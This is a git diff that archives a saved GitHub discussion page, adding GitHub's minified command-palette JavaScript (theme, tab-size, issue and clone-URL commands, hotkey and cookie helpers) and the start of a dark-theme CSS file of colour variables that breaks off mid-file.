y{constructor(){super(...arguments);this.title="2 spaces",this.iconType="none",this.tabSize="2",this.group=""}async run(e){this.updateTabSize(),this.saveSettings(e)}updateTabSize(){const e=document.querySelectorAll("[data-tab-size]");for(const s of e)s.setAttribute("data-tab-size",this.tabSize)}async saveSettings(e){const s=new FormData;s.set("tab_size_rendering_preference",this.tabSize);const o="Failed to save tab size preference";try{(await(0,ce.Q)("/settings/appearance/tab_size",{method:"PUT",body:s})).ok?e.displayFlash("success","Tab size rendering updated"):e.displayFlash("error",o)}catch{e.displayFlash("error",o)}}}n(x,"TabSizeTwo");class le extends x{constructor(){super(...arguments);this.title="3 spaces",this.tabSize="3"}}n(le,"TabSizeThree");class ue extends x{constructor(){super(...arguments);this.title="4 spaces",this.tabSize="4"}}n(ue,"TabSizeFour");class de extends x{constructor(){super(...arguments);this.title="6 spaces",this.tabSize="6"}}n(de,"TabSizeSix");class he extends x{constructor(){super(...arguments);this.title="8 spaces",this.tabSize="8"}}n(he,"TabSizeEight");class pe extends x{constructor(){super(...arguments);this.title="10 spaces",this.tabSize="10"}}n(pe,"TabSizeTen");class me extends x{constructor(){super(...arguments);this.title="12 spaces",this.tabSize="12"}}n(me,"TabSizeTwelve");class fe extends W{constructor(){super(...arguments);this.title="Change tab size rendering",this.icon="gear-color-fg-muted",this.priority=10,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"tab-sizes",this.pageItems),!0)}get pageItems(){return[x,le,ue,de,he,pe,me].map(e=>e.item())}select(e){this.run(e)}}n(fe,"SwitchTabSize");class ye extends y{constructor(){super(...arguments);this.title="Open in github.dev editor",this.icon="codespaces-color-fg-muted",this.priority=10}isApplicable(){return this.fetchLink()instanceof HTMLAnchorElement}fetchLink(){return document.querySelector(".js-github-dev-shortcut")}run(){var e;(e=this.fetchLink())==null||e.click()}}n(ye,"OpenInDotDev");class ve extends W{constructor(){super(...arguments);this.title="Switch theme",this.icon="paintbrush-color-fg-muted",this.priority=9,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"switch-theme-page-1",this.pageItems),!0)}get pageItems(){return[I,Ce,be,ge,Ee].map(e=>e.item())}select(e){this.run(e)}}n(ve,"SwitchTheme");class I extends y{constructor(){super(...arguments);this.title="Default dark",this.icon="moon-color-fg-muted",this.mode="dark",this.theme="dark",this.group=""}applyTheme(){this.loadStyles(this.theme),this.mode!=="auto"&&(0,M.on)(this.theme,this.mode),(0,M.h5)(this.mode)}async run(){this.applyTheme(),this.saveSettings(this.mode,this.lightTheme,this.darkTheme)}async saveSettings(e=this.mode,s,o){const r=new FormData;r.set("color_mode",e),s&&r.set("light_theme",s),o&&r.set("dark_theme",o);const l=await(await(0,ce.Q)("/settings/appearance/color_mode",{method:"PUT",body:r})).json();this.loadStyles(l.light_theme),this.loadStyles(l.dark_theme),(0,M.on)(l.light_theme,"light"),(0,M.on)(l.dark_theme,"dark"),(0,M.h5)(l.color_mode)}loadStyles(e){const s=document.querySelector(`link[data-color-theme='${e}']`);s&&!s.hasAttribute("href")&&s.hasAttribute("data-href")&&s.setAttribute("href",s.getAttribute("data-href"))}get darkTheme(){return this.mode==="dark"?this.theme:(0,M.yn)("dark")}get lightTheme(){return this.mode==="light"?this.theme:(0,M.yn)("light")}}n(I,"SwitchToDark");class ge extends I{constructor(){super(...arguments);this.title="Switch theme to dark high contrast",this.theme="dark_high_contrast"}}n(ge,"SwitchToDarkHighContrast");class be extends I{constructor(){super(...arguments);this.title="Dark dimmed",this.theme="dark_dimmed"}}n(be,"SwitchToDarkDimmed");class Ce extends I{constructor(){super(...arguments);this.title="Default light",this.icon="sun-color-fg-muted",this.mode="light",this.theme="light"}}n(Ce,"SwitchToLight");class Ee extends I{constructor(){super(...arguments);this.title="Sync with system settings",this.icon="sun-color-fg-muted",this.mode="auto"}get darkTheme(){}get lightTheme(){}}n(Ee,"SwitchToAuto");class Se extends y{constructor(){super();const e=this.isSubscribe();this.title=`${e?"Subscribe":"Unsubscribe"}`,this.icon=`${e?"bell":"bell-slash"}-color-fg-muted`}isApplicable(){var e;return this.fetchButton()instanceof HTMLButtonElement&&((e=this.fetchButton())==null?void 0:e.disabled)===!1}isSubscribe(){var e,s;return((s=(e=this.fetchButton())==null?void 0:e.textContent)==null?void 0:s.trim())==="Subscribe"}fetchButton(){return document.querySelector(".thread-subscribe-button")}run(){var e;(e=this.fetchButton())==null||e.click()}}n(Se,"UpdateSubscription");const Xe=[ye,fe,ve,Se];function _e(t){t.focus(),t.selectionStart=t.selectionEnd=t.value.length}n(_e,"moveCursorToEnd");class N extends y{constructor(){super(...arguments);this.title="Edit issue body",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.isIssue()}run(){const e=document.createElement("button");e.hidden=!0,e.classList.add("js-comment-edit-button");const s=document.querySelector("div.js-comment");s==null||s.appendChild(e),e.click(),e.remove(),setTimeout(()=>{var o;const r=(o=s==null?void 0:s.parentElement)==null?void 0:o.querySelector("textarea.js-comment-field");r&&_e(r)},0)}}n(N,"EditIssueBody");class Z extends y{constructor(){super(...arguments);this.title="Edit issue title",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isIssue()}fetchButton(){return document.querySelector(".js-title-edit-button")}run(){var e;(e=this.fetchButton())==null||e.click(),setTimeout(()=>{const s=document.querySelector("input#issue_title[autofocus]");s&&_e(s)},0)}}n(Z,"EditIssueTitle");class we extends y{constructor(){super(...arguments);this.title="Transfer issue\u2026",this.icon="arrow-right-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-transfer-issue")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(we,"TransferIssue");class Te extends y{constructor(){super();const e=this.isLock();this.title=`${e?"Lock":"Unlock"} conversation`,this.icon=`${e?"lock":"key"}-color-fg-muted`}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}isLock(){var e,s;return((s=(e=document.querySelector("summary.lock-toggle-link"))==null?void 0:e.textContent)==null?void 0:s.trim())==="Lock conversation"}fetchDetails(){return document.querySelector("details.js-lock-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=document.querySelector("#unlock-reason"))==null||s.focus()},0))}}n(Te,"LockIssue");class xe extends y{constructor(){super(...arguments);this.title="Delete issue\u2026",this.icon="trash-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-delete-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=e.querySelector('button[type="submit"]'))==null||s.focus()},0))}}n(xe,"DeleteIssue");class Pe extends y{constructor(){super(...arguments);this.title="Convert issue to discussion\u2026",this.icon="comment-discussion-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-convert-to-discussion")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(Pe,"ConvertToDiscussion");const Ge=[Z,N,Te,we,xe,Pe];var Ye=a(78078),P=a(76745);class K extends y{constructor(){super(...arguments);this.title="Open in new codespace",this.icon="codespaces-color-fg-muted",this.priority=11}isApplicable(){const e=this.fetchElements();return!!(e.codeModal&&e.codespacesForm&&e.newCodespacesButton&&e.codespacesTab)}run(){const{codeModal:e,codespacesTab:s,newCodespacesButton:o}=this.fetchElements();!(e&&s&&o)||(e.open=!0,s.click(),o instanceof HTMLButtonElement&&o.click())}fetchElements(){const e=document.querySelector(".js-create-codespaces-form-command"),s=(e==null?void 0:e.closest("details"))||null,o=(s==null?void 0:s.querySelector('[data-tab="cloud"]'))||null,r=(e==null?void 0:e.querySelector('summary[role="button"], button[type="submit"]'))||null;return{codespacesForm:e,codeModal:s,codespacesTab:o,newCodespacesButton:r}}}n(K,"OpenCodespace");var $=a(76168);class Ae extends N{constructor(){super(...arguments);this.title="Edit pull request body"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.isPullRequest()}}n(Ae,"EditPullRequestBody");class Le extends Z{constructor(){super(...arguments);this.title="Edit pull request title"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isPullRequest()}}n(Le,"EditPullRequestTitle");class je extends y{constructor(){super(...arguments);this.title="Update current branch",this.icon="sync-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-update-branch-form button")}run(){const e=this.fetchButton();e&&(e.scrollIntoView({behavior:"smooth",block:"center"}),e.click())}}n(je,"UpdateBranch");class De extends y{constructor(){super(...arguments);this.title="Convert to draft",this.icon="git-pull-request-draft-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-convert-to-draft")}run(){var e;const s=(e=this.fetchButton())==null?void 0:e.closest("details");s&&(s.open=!0,setTimeout(()=>{var o;(o=s.querySelector(".js-convert-to-draft"))==null||o.focus()},0))}}n(De,"ConvertToDraft");class Me extends y{constructor(){super(...arguments);this.title="Copy current branch name",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-copy-branch")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Branch name copied to clipboard!")}catch{e.displayFlash("error","Unable to copy branch name to clipboard!")}}}}n(Me,"CopyBranchName");const et=[Me,Le,Ae,je,De,K];class ke extends y{constructor(){super(...arguments);this.title="Copy file permalink",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchPermalinkContainer()instanceof HTMLAnchorElement}fetchPermalinkContainer(){return document.querySelector(".js-permalink-shortcut")}async run(e){const s=this.fetchPermalinkContainer();if(s){const o=`${s.href}${window.location.hash}`;try{await(0,$.z)(o),e.displayFlash("success","Copied permalink!")}catch{e.displayFlash("error","Failed to copy permalink!")}}}}n(ke,"CopyPermalink");class Be extends y{constructor(){super(...arguments);this.title="Clone repository: Copy HTTPS",this.icon="copy-color-fg-muted",this.priority=4}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-http")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Be,"CloneCopyHttps");class Ie extends y{constructor(){super(...arguments);this.title="Clone repository: Copy SSH",this.icon="copy-color-fg-muted",this.priority=3}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-ssh")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Ie,"CloneCopySsh");class Oe extends y{constructor(){super(...arguments);this.title="Clone repository: Copy GitHub CLI",this.icon="copy-color-fg-muted",this.priority=2}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-gh-cli")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Oe,"CloneCopyCli");const tt=[Be,Ie,Oe,ke,K];class J extends Ye.B{constructor(){super(...arguments);this.itemsByType={},this.items=[],this.needsFetch=!0}enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}get hasCommands(){return!0}async fetch(e){return this.items=[...Ge.map(o=>o.item()),...et.map(o=>o.item()),...tt.map(o=>o.item()),...Qe.map(o=>o.item()),...Xe.map(o=>o.item())].filter(o=>o.isApplicable(e)),{results:this.fuzzyFilter(this.items,e)}}get debounce(){return 0}clearCache(){}}n(J,"MainWindowCommandsProvider"),window.commandPalette&&window.commandPalette.registerProvider("main-window-commands-provider",new J),window.addEventListener("command-palette-ready",()=>{var t;(t=window.commandPalette)==null||t.registerProvider("main-window-commands-provider",new J)});var O=a(64465),st=a(49815),ot=Object.defineProperty,nt=Object.getOwnPropertyDescriptor,F=n((t,e,s,o)=>{for(var r=o>1?void 0:o?nt(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&ot(e,s,r),r},"command_palette_input_element_decorateClass");let A=n(class extends HTMLElement{constructor(){super(...arguments);this.setupComplete=!1,this.connected=!1}static get observedAttributes(){return["input-value","typeahead","scope"]}setup(){this.classList.add("d-flex","flex-items-center","flex-nowrap","py-1","pl-3","pr-2","border-bottom"),this.input=this.querySelector("input.js-input"),this.overlayInput=this.querySelector("input.js-overlay-input"),this.scopeElement=this.querySelector("command-palette-scope"),this.searchIcon=this.querySelector(".js-search-icon"),this.spinner=this.querySelector(".js-spinner"),this.defaultScope=this.scope,this.hasAttribute("autofocus")&&this.input.focus(),this.inputValue.length!==0&&this._dispatchEvent("command-palette-input"),this.setupComplete=!0}connectedCallback(){this.setupComplete||this.setup(),this.inputValue=this.getAttribute("input-value")||"",this.typeahead=this.getAttribute("typeahead")||"",this.placeholder=this.getAttribute("placeholder")||"",this.connected=!0}attributeChangedCallback(t,e,s){!this.input||(t==="typeahead"?this.typeahead=s:t==="input-value"&&(this.inputValue=s,this._dispatchEvent("command-palette-input")))}focus(){this.input.focus()}setRemovedTokenAndSelect(t){t&&(this.inputValue=t),this.focus(),this.input.select()}get scope(){return this.scopeElement.scope}set scope(t){this.scopeElement.scope=t,this.clearButton.hidden=!this.hasSomethingToClear()}hasScope(){return this.scopeElement.hasScope()}clearScope(){return this.scopeElement.clearScope()}removeToken(){return this.scopeElement.removeToken()}get placeholder(){return this.input.getAttribute("placeholder")||""}set placeholder(t){this.input.setAttribute("placeholder",t)}get typeaheadPlaceholderText(){return this.typeaheadPlaceholder.textContent||""}set typeaheadPlaceholderText(t){this.typeaheadPlaceholder.textContent=t}get inputValue(){var t;return((t=this.input)==null?void 0:t.value)||""}set inputValue(t){this.input.value=t,this.typeahead=t,this.resetPlaceholder(),this.onInput()}get overlay(){return this.overlayInput.value}set overlay(t){this.overlayInput.value=t}get typeahead(){return this.typeaheadValue}set typeahead(t){if(this.typeaheadValue=this.overlay+t,this.mirror.textContent=this.inputValue,t==="")this.typeaheadText.textContent="";else if(this.placeholder="",this.typeaheadPlaceholderText="",this.valueStartsWithTypeahead){const e=this.inputValue.length-(this.overlay?1:0);this.typeaheadText.textContent=t.substring(e)}else this.typeaheadText.textContent=` \u2013 ${t}`}showModePlaceholder(t=""){this.typeaheadPlaceholderText=t}get valueStartsWithTypeahead(){return this.typeaheadValue.toLowerCase().startsWith(this.inputValue.toLowerCase())}get isCursorAtEnd(){return this.inputValue.length===this.input.selectionStart}set loading(t){this.spinner.hidden=!t,this.searchIcon.hidden=t}resetPlaceholder(){this.inputValue.replace(this.overlay,"")&&this.overlay&&(this.typeaheadPlaceholderText=""),this.placeholder=this.getAttribute("placeholder")||""}onInput(){this.resetPlaceholder(),!!this.connected&&(this.clearButton.hidden=!this.hasSomethingToClear(),this._dispatchEvent("command-palette-input"))}onClear(t){t instanceof KeyboardEvent&&t.key!=="Enter"||(this.inputValue="",this.input.focus(),this._dispatchEvent("command-palette-cleared"))}onKeydown(t){if(this.isSelectKeystroke(t.key)&&(this._dispatchEvent("command-palette-select"),t.stopImmediatePropagation(),t.preventDefault()),this.hasSomethingToClear()&&(0,O.o)(t)&&t.key==="Backspace"){this.onClear();return}if(this.input.selectionStart===0&&this.input.selectionEnd===0&&t.key==="Backspace"){this._dispatchEvent("command-palette-descope"),t.stopImmediatePropagation(),t.preventDefault();return}}hasSomethingToClear(){return this.scopeElement.hasScope()||this.inputValue.length>0}isSelectKeystroke(t){return(0,st.c)("ACCESSIBLE_COMMAND_PALETTE")?!1:t==="Tab"||t==="ArrowRight"&&this.isCursorAtEnd}textSelected(){return this.input.selectionStart!==this.input.selectionEnd}_dispatchEvent(t){const e=new CustomEvent(t,{cancelable:!0,detail:{typeahead:this.typeahead,value:this.inputValue}});return this.dispatchEvent(e)}},"CommandPaletteInputElement");A.tagName="command-palette-input",F([i.fA],A.prototype,"typeaheadPlaceholder",2),F([i.fA],A.prototype,"typeaheadText",2),F([i.fA],A.prototype,"mirror",2),F([i.fA],A.prototype,"clearButton",2),A=F([i.Ih],A);var rt=a(11793),it=a(6741),at=a(35889),Re=a(64463),ct=a(45922);window.customElements.get(O.Z.tagName)||window.customElements.define(O.Z.tagName,O.Z);function lt(){document.addEventListener("keydown",ut),(0,Re.N7)(".js-command-palette-dialog",t=>{if(!t)return;const e=window.performance.now(),s=Q();!s||(t.addEventListener("toggle",()=>{t.open?s.activate():s.deactivate()}),s.addEventListener("command-palette-activated",o=>{o instanceof CustomEvent&&(o.detail.previouslyActivated||(0,ct.b)({distributionKey:"COMMAND_PALETTE_FIRST_OPEN",distributionValue:window.performance.now()-e}))}))}),(0,Re.N7)(".js-socket-channel.js-updatable-content",{subscribe:t=>(0,it.RB)(t,"socket:message",()=>{const e=Q();!e||e.clearCommands(!1)})})}n(lt,"observeCommandPalette");function Q(){return document.querySelector(O.Z.tagName)}n(Q,"findCommandPalette");function ut(t){if(!t.code)return;const e=Q();if(!e)return;const s=mt(),o=X(e.platformActivationHotkey,t),r=X(e.platformSecondaryActivationHotkey,t),c=X(e.platformCommandModeHotkey,t),l=!dt(t)&&!s&&(o||c),L=!s&&(r||c),w=e.hasAttribute("data-memex-hotkey-enabled")&&s&&(o||r||c);(l||L||w)&&(ft(c),t.preventDefault(),t.stopPropagation())}n(ut,"handleKeyDown");function X(t,e){let s=(0,rt.EL)(e);return s=s.replace("\u02DA","k"),t.split(",").some(o=>s===o)}n(X,"hotkeyMatchesEvent");function dt(t){return ht(t)||pt(t)}n(dt,"shouldIgnoreActivation");function ht(t){const e=t.target;return e?e.closest(".js-previewable-comment-form")!==null:!1}n(ht,"triggeredInsideAPreviewableCommentForm");function pt(t){const e=t.target;if(!e)return!1;const s=e.closest(".js-code-editor");if(!s)return!1;const o=(0,at.P)(s);if(!o)return!1;const r=o.editor;if(!r)return!1;const c=r.getMode().name;return c==="gfm"||c==="markdown"}n(pt,"triggeredInsideAMarkdownCodeEditor");function mt(){return!!document.querySelector("#memex-root")}n(mt,"triggeredInsideMemex");function ft(t){for(const e of document.querySelectorAll(".js-command-palette-dialog")){const s=e.querySelector(A.tagName);if(!s)return;if(e.open)e.open=!1;else{yt(s,t);const o=e.querySelector(O.Z.tagName);o&&(o.previouslyActiveElement=document.activeElement),e.open=!0}}}n(ft,"toggleCommandPalette");function yt(t,e){const s=t.inputValue.startsWith(">");return e&&!s?(t.inputValue=`>${t.inputValue}`,!0):!e&&s?(t.inputValue=t.inputValue.substring(1),!0):!1}n(yt,"toggleCommandMode"),lt()},35889:(S,C,a)=>{a.d(C,{P:()=>v,g:()=>g});var i=a(59753);const b=new WeakMap;function v(d){return b.get(d)}n(v,"getCodeEditor");async function g(d){return b.get(d)||m(await p(d,"codeEditor:ready"))}n(g,"getAsyncCodeEditor");function m(d){if(!(d instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=d.detail.editor;if(!d.target)throw new Error("assert: event.target is null");return b.set(d.target,h),h}n(m,"onEditorFromEvent"),(0,i.on)("codeEditor:ready",".js-code-editor",m);function p(d,h){return new Promise(u=>{d.addEventListener(h,u,{once:!0})})}n(p,"nextEvent")},64992:(S,C,a)=>{a.d(C,{I3:()=>v,h5:()=>m,on:()=>p,yn:()=>d});var i=a(7739),b=a(64926);(async()=>(await i.x,(0,b.d8)("preferred_color_mode",v())))();function v(){if(g("dark"))return"dark";if(g("light"))return"light"}n(v,"getPreferredColorMode");function g(h){return window.matchMedia&&window.matchMedia(`(prefers-color-scheme: ${h})`).matches}n(g,"prefersColorScheme");function m(h){const u=document.querySelector("html[data-color-mode]");!u||u.setAttribute("data-color-mode",h)}n(m,"setClientMode");function p(h,u){const f=document.querySelector("html[data-color-mode]");!f||f.setAttribute(`data-${u}-theme`,h)}n(p,"setClientTheme");function d(h){const u=document.querySelector("html[data-color-mode]");if(!!u)return u.getAttribute(`data-${h}-theme`)}n(d,"getClientTheme")},64926:(S,C,a)=>{a.d(C,{$1:()=>b,d8:()=>g,ej:()=>i,kT:()=>m});function i(p){return b(p)[0]}n(i,"getCookie");function b(p){const d=[];for(const h of v()){const[u,f]=h.trim().split("=");p===u&&typeof f!="undefined"&&d.push({key:u,value:f})}return d}n(b,"getCookies");function v(){try{return document.cookie.split(";")}catch{return[]}}n(v,"readCookies");function g(p,d,h=null,u=!1,f="lax"){let E=document.domain;if(E==null)throw new Error("Unable to get document domain");E.endsWith(".github.com")&&(E="github.com");const _=location.protocol==="https:"?"; secure":"",G=h?`; expires=${h}`:"";u===!1&&(E=`.${E}`);try{document.cookie=`${p}=${d}; path=/; domain=${E}${G}${_}; samesite=${f}`}catch{}}n(g,"setCookie");function m(p,d=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const u=new Date().getTime(),f=new Date(u-1).toUTCString(),E=location.protocol==="https:"?"; secure":"",_=`; expires=${f}`;d===!1&&(h=`.${h}`);try{document.cookie=`${p}=''; path=/; domain=${h}${_}${E}`}catch{}}n(m,"deleteCookie")},7739:(S,C,a)=>{a.d(C,{C:()=>b,x:()=>i});const i=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),b=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},97474:(S,C,a)=>{a.d(C,{Z:()=>i});function i(b){var v,g;const m=(g=(v=b.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:g.content;if(!m)return!1;const p=m.replace(/\.$/,"").split(".").slice(-2).join("."),d=b.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return p!==d}n(i,"detectProxySite")},45922:(S,C,a)=>{a.d(C,{b:()=>g});var i=a(97474),b=a(7739);let v=[];function g(u,f=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=h(),v.push(u),f?d():p()}n(g,"sendStats");let m=null;async function p(){await b.C,m==null&&(m=window.requestIdleCallback(d))}n(p,"scheduleSendStats");function d(){var u,f;if(m=null,!v.length||(0,i.Z)(document))return;const E=(f=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:f.content;if(!E)return;const _=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(E,_)}catch{}v=[]}n(d,"flushStats");function h(){var u,f;return!!((f=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:f.content)}n(h,"isLoggedIn"),document.addEventListener("pagehide",d),document.addEventListener("visibilitychange",d)},6741:(S,C,a)=>{a.d(C,{RB:()=>b,qC:()=>v,w0:()=>i});class i{constructor(m){this.closed=!1,this.unsubscribe=()=>{m(),this.closed=!0}}}n(i,"Subscription");function b(g,m,p,d={capture:!1}){return g.addEventListener(m,p,d),new i(()=>{g.removeEventListener(m,p,d)})}n(b,"fromEvent");function v(...g){return new i(()=>{for(const m of g)m.unsubscribe()})}n(v,"compose")}},S=>{var C=n(i=>S(S.s=i),"__webpack_exec__");S.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],()=>C(86761));var a=S.O()}]);})(); + +//# sourceMappingURL=command-palette-10120dba33e7.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css new file mode 100644 index 0000000..f8ab479 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css @@ -0,0 +1,3 @@ +[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: 